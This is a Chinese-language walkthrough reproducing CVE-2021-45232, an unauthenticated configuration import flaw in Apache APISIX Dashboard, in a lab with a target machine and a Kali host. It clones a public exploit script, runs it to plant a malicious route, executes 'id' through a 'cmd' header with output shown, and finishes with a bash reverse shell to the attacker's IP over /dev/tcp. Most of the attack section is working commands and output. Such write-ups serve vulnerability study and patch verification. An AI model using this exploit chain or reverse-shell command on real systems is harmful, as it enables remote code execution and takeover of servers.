Apache APISIX是一个动态、实时、高性能API网关,而Apache APISIX Dashboard是一个配套的前端面板。

Apache APISIX Dashboard 2.10.1版本前存在两个API/apisix/admin/migrate/export/apisix/admin/migrate/import,他们没有经过droplet框架的权限验证,导致未授权的攻击者可以导出、导入当前网关的所有配置项,包括路由、服务、脚本等。攻击者通过导入恶意路由,可以用来让Apache APISIX访问任意网站,甚至执行LUA脚本。

漏洞复现

机器 ip
靶机 10.22.102.175
kali 10.132.1.173

然后访问http://your-ip:9000/即可看到Apache APISIX Dashboard的登录页面。

漏洞利用

利用/apisix/admin/migrate/export/apisix/admin/migrate/import两个Apache APISIX Dashboard提供的未授权API,可以简单地导入一个恶意配置文件,这里通过漏洞利用脚本来进行攻击:

git clone https://github.com/wuppp/cve-2021-45232-exp

通过漏洞利用脚本来添加恶意脚本:注意最后一行的url is.

┌──(kali㉿kali)-[~/Desktop]
└─$ cd cve-2021-45232-exp-main 
                                                                                                                                                                                  
┌──(kali㉿kali)-[~/Desktop/cve-2021-45232-exp-main]
└─$ ls
apisix_dashboard_rce.py  README.md  readme.png
                                                                                                                                                                                  
┌──(kali㉿kali)-[~/Desktop/cve-2021-45232-exp-main]
└─$ python3 apisix_dashboard_rce.py http://10.22.102.175:9000
attack success
uri is: /7eC9tu
                                                        

添加完恶意脚本后,需要访问Apache APISIX中对应的路径来触发前面添加的脚本。而Apache APISIXApache APISIX Dashboard是两个不同的服务,Apache APISIX Dashboard只是一个管理页面,而添加的路由是位于Apache APISIX中,所以需要找到Apache APISIX监听的端口或域名。在当前环境下,Apache APISIX监听在9080端口下。执行如下命令来执行id命令

┌──(kali㉿kali)-[~/Desktop/cve-2021-45232-exp-main]
└─$ curl http://10.22.102.175:9080/7eC9tu -H "cmd:id"
uid=99(nobody) gid=99(nobody) groups=99(nobody)

命令执行成功。

反弹shell

本地kali监听1234端口,然后执行如下命令:

curl http://10.22.102.175:9080/7eC9tu -H "cmd: bash -c 'exec bash -i &>/dev/tcp/10.132.1.173/1234 <&1'"

成功拿到目标的shell

Logo

汇聚全球AI编程工具,助力开发者即刻编程。

更多推荐